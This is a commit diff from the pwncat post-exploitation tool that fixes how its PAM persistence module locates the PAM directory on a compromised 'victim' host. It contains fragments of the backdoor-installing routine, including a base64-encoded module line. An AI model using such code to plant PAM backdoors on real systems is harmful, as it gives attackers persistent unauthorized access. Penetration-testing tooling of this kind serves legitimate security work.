1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-23 17:15:38 +01:00

Fixed pam persistence removal

Locating the pam directory was done differently in install and removal
routines, which caused discrepencies after installation. Should fix #21
This commit is contained in:
Caleb Stewart 2020-07-02 08:48:41 -04:00
parent dfc86464fc
commit bdb5b5db56

View File

@ -210,17 +210,17 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
# Locate the pam_deny.so to know where to place the new module
pam_modules = "/usr/lib/security"
try:
results = (
pwncat.victim.env(["find", "/", "-name", "pam_deny.so"])
.strip()
.decode("utf-8")
results = (
pwncat.victim.run(
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
)
if results != "":
results = results.split("\n")
pam_modules = os.path.dirname(results[0])
except FileNotFoundError:
pass
.strip()
.decode("utf-8")
)
if results != "":
results = results.split("\n")
pam_modules = os.path.dirname(results[0])
# Ensure the directory exists and is writable
access = pwncat.victim.access(pam_modules)